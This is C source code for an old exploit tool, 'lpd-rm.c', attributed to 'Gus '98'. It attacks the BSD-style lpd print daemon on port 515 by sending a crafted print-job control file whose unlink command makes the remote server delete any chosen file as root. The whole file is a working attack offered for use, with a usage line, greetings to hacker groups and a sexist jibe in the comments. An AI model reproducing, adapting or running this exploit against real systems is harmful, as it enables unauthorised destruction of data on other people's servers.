/* ** lpd-rm.c : Remove a file by exploiting the BSD-style 'lpd' ** [Tested on Linux only, YMMV] [Release version] ** Gus '98 ** ** References: RFC-1179 ** Usage : "lpd-rm " ** hi-5s to : The Army of the 12 Monkeys, #phuk regulars, ** Gamma and Pr0pane for their help, everyone ** involved in making 'strace' :) */ #include #include #include #include #include #include #include #include #include /* Control codes for commands. No spaces unless specified */ #define LPD_RECIEVE_JOB '\2' /* \2 printername */ #define CMD_RECIEVE_CONTROL_FILE '\2' /* \2 size name */ #define CMD_RECIEVE_DATA_FILE '\3' /* \3 size name */ #define CMD_CLASSNAME 'C' /* C classname */ #define CMD_HOSTNAME 'H' /* H hostname */ #define CMD_JOBNAME 'J'/* J jobname */ #define CMD_PRINTBANNERPAGE 'L'/* L username */ #define CMD_SOURCEFILENAME 'N' /* N filename */ #define CMD_USERNAME 'P' /* P user-requesting-job */ #define CMD_UNLINK 'U' /* U filename */ #define CMD_PRINTFORMATTEDFILE 'f' /* f Filename of pre-formatted text */ #define CMD_PRINTPRFILE 'p'/* p Filename to proccess thru 'pr' */ void usage(char *); int doit(int ,char *,char *, char *); int openhost (char *); int main (int argc, char *argv[]) { int port,sock; char *host,*printer,*filename; port = 0; host = printer = filename = NULL; fprintf(stderr,"'lpd-rm.c' - Gus'98\n"); if (argc < 4) usage(argv[0]); if (getuid() != 0) { fprintf(stderr,"Doh! You need to be root.\n"); exit(-1); } host = argv[1]; printer = argv[2]; filename = argv[3]; if ((sock = openhost(host)) > 0) { exit(doit(sock,printer,host,filename)); } else { exit(sock); } } int openhost (char *host) { int sock; struct hostent *he; struct sockaddr_in sa; int localport; char respbuf[255]; he=gethostbyname(host); if(he==NULL) { fprintf(stderr,"Bad hostname"); return (-1); } /* ** According to the RFC, the source port must be in the range ** of 721-731 inclusive. */ srand(getpid()); localport = 721 + (int) (10.0*rand()/(RAND_MAX+1.0)); sock=socket(AF_INET,SOCK_STREAM,0); sa.sin_addr.s_addr=INADDR_ANY; sa.sin_family=AF_INET; sa.sin_port=htons(localport); bind(sock,(struct sockaddr *)&sa,sizeof(sa)); sa.sin_port=htons(515); memcpy(&sa.sin_addr,he->h_addr,he->h_length); if(connect(sock,(struct sockaddr *)&sa,sizeof(sa)) < 0) { perror("Can't connect"); return (-1); } else { fcntl(sock,F_SETFL,O_NONBLOCK); } printf("%d : Connected...\n",localport); read(sock,respbuf,255); fprintf(stderr,": %s\n",respbuf); /* show 'not allowed to print' message, if it comes back */ return(sock); } int doit(int sock,char *printer,char *host, char *filename) { char hello[255]; char sendbuf[1024]; char respbuf[255]; printf("Removing file %s on %s using %s as printer\n",filename,host,printer); /* Hello Mr LPD. Can I print to please ? */ sprintf(sendbuf,"%c%s\n",LPD_RECIEVE_JOB,printer); if ((write(sock,sendbuf,strlen(sendbuf)) != (strlen(printer)+2))) { perror("1 write"); } /* Why yes young man, what would you like me to do ? */ read(sock,respbuf,255); /* fprintf(stderr,": %s\n",respbuf); */ /* Would you be so kind as to carry out the commands in this file * as superuser without giving up any priviledges please ? */ sprintf(sendbuf,"%c%s\n%croot\n%cmyjob\n%c%s\n%croot\n%ccfA12\n%c%s\n%c%s", CMD_HOSTNAME,host, CMD_USERNAME, CMD_JOBNAME, CMD_CLASSNAME, host, CMD_PRINTBANNERPAGE, CMD_PRINTPRFILE, CMD_UNLINK, filename, CMD_SOURCEFILENAME, filename); /* But of course young feller me lad! Security is for girls! */ sprintf(hello,"%c%d cfA12\n", CMD_RECIEVE_CONTROL_FILE, strlen(sendbuf)); if (write(sock,hello,strlen(hello)) != strlen(hello)) perror("2 write"); if (write(sock,sendbuf,strlen(sendbuf)+1) != (strlen(sendbuf)+1)) { perror("3 write"); } sleep(3); shutdown(sock,2); return (0); } void usage (char *name) { fprintf(stderr,"\tUsage: %s host printer filename\n",name); exit(1); }